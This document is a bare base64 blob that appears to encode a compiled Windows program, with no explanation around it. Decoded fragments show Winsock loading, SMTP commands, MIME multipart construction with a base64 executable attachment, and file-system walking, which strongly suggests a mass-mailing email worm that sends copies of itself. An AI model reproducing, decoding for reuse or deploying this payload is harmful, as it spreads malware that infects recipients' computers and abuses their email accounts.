QYO47WCH/ovui10Ai3UEM8mLxsHgBIvWweoFM8KL1jPRA8KL0YPiAwMElwPYgcG5eTeei9PB4gSL w8HoBTPQi8MzwQPQi8HB6AuD4AMDFIcD8oH5IDfvxnW3iV0AiXUEYcNgh/6L7otdAIt1BLkgN+/G i9PB4gSLw8HoBTPQi8MzwQPQi8HB6AuD4AMDFIcr8oHBR4bIYYvGweAEi9bB6gUzwovWM9EDwovR g+IDAwSXK9iFyXW7iV0AiXUEYcPoAAAAAF2Bxf72///DQetW89CFLt9rmvNIEg6q973wG3KAvaix UJTSRed0Rce/4CEZ5ZsiSo/xDNA2CYvMLHIzMkfPsppRi4ToHGuYCPg9hG/7sX0zDw56vkBpng2X JvfX7qX5do2hPCAR+S1lusPlQWOkYLA4bev3UoepJgqI5W08F0qVd3tDEzOPh2wAAAAAi1QkEIty PI10MniLNo10FhitUK1QrZNdWa2Wh/P32ivyK+or2iv/R61gK8KWagBZrITAdBQyyLAI0elzBoHx IIO47f7IdfLr54t0JCyLVCQkh9GtK8J0CeL5YUl1ycIQAE8PtwR7i0SFAANEJDCLdCQoSYkEjuvi TThakDgDZgIECXH/gbjCkQFAwhXGgAkOtEzNIRUB6xhQRQhMAVMCFM7gAw8BC5VsKRCmBKWeKAzI bwTvFCziApwH3FPpCMpHWz4DCOfSKAoB9UAudGV456sOkck8B+AgkgsHLnJkYXQqJFFaSkzSTg7A FQH/qu/gzP8l4BBwQXQ4VAEPMNUQG8pMDDUgLzdWMDsRgEdldE1vZHV3bB1IYW72DJbgSxxFUk7D TDMyLnEemwd3UwAAVlAryayEwHQDQev4WF7DYIt0JCSLfCQo/LKApOhoAAAAc/gzyehfAAAAcxoz wOhWAAAAcyBBsBDoTAAAABLAc/d1PKrr1uhKAAAASeIQ6EAAAADrKKzR6HRLE8nrHJFIweAIrOgq AAAAPQB9AABzCoD8BXMGg/h/dwJBQZWLxVaL9yvw86Re65MC0nUFihZGEtLDM8lB6O7///8Tyejn ////cvLDK3wkKIl8JBxhwggAYOgjAAAAi2QkCGRnjwYAAMcEJEwnAADoc/3///+VzBIAAGH5G8DC DAAr22T/M2SJI4tEJDBmi1gCU4tABFBqAuh0EAAAWFtyB6kIAAAAdbpkZ48GAABYYemXaP//VVFS uJfccQa5bU7GQffhBTkwAAAl////B+gU/f//iYXPCwAAi0wkECvS9/GSWlldwgQAyAgBAGD8i30Q i9czwLkgAAAA86v/Aot1FI29+P7//7kgAAAA86WLRQzorAIAAIld/MdF+AAAAACH24tFDItV+A+j EHMIi1UQ6BkAAACNlfj+///oDgAAAP9F+P9N/HnaYcnCEACQjb14////M8CJB4lHBIlHCIlHDIlH EIlHFIlHGIlHHIlHIIlHJIlHKIlHLIlHMIlHNIlHOIlHPIlHQIlHRIlHSIlHTIlHUIlHVIlHWIlH XIlHYIlHZIlHaIlHbIlHcIlHdIlHeIlHfI2F+P7//+gCAgAAh9vRJ9FXBNFXCNFXDNFXENFXFNFX GNFXHNFXINFXJNFXKNFXLNFXMNFXNNFXONFXPNFXQNFXRNFXSNFXTNFXUNFXVNFXWNFXXNFXYNFX ZNFXaNFXbNFXcNFXdNFXeNFXfOisAQAAjYX4/v//D6MYD4PFAAAAiwKLSgQBBxFPBItCCItKDBFH CBFPDItCEItKFBFHEBFPFItCGItKHBFHGBFPHItCIItKJBFHIBFPJItCKItKLBFHKBFPLItCMItK NBFHMBFPNItCOItKPBFHOBFPPItCQItKRBFHQBFPRItCSItKTBFHSBFPTItCUItKVBFHUBFPVItC WItKXBFHWBFPXItCYItKZBFHYBFPZItCaItKbBFHaBFPbItCcItKdBFHcBFPdItCeItKfBFHeBFP fOjaAAAAh9tLD4nB/v//iweLXwSLTwiLdwyJAolaBIlKCIlyDItHEItfFItPGIt3HIlCEIlaFIlK GIlyHItHIItfJItPKIt3LIlCIIlaJIlKKIlyLItHMItfNItPOIt3PIlCMIlaNIlKOIlyPItHQItf RItPSIt3TIlCQIlaRIlKSIlyTItHUItfVItPWIt3XIlCUIlaVIlKWIlyXItHYItfZItPaIt3bIlC YIlaZIlKaIlybItHcItfdItPeIt3fIlCcIladIlKeIlyfMOH27v/AwAAD6MYcgNLdfjDh9uLdQiL R3yLTnw7wXLwD4c1AgAAi0d4i054O8Fy4A+HJQIAAItHdItOdDvBctAPhxUCAACLR3CLTnA7wXLA D4cFAgAAi0dsi05sO8FysA+H9QEAAItHaItOaDvBcqAPh+UBAACLR2SLTmQ7wXKQD4fVAQAAi0dg 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 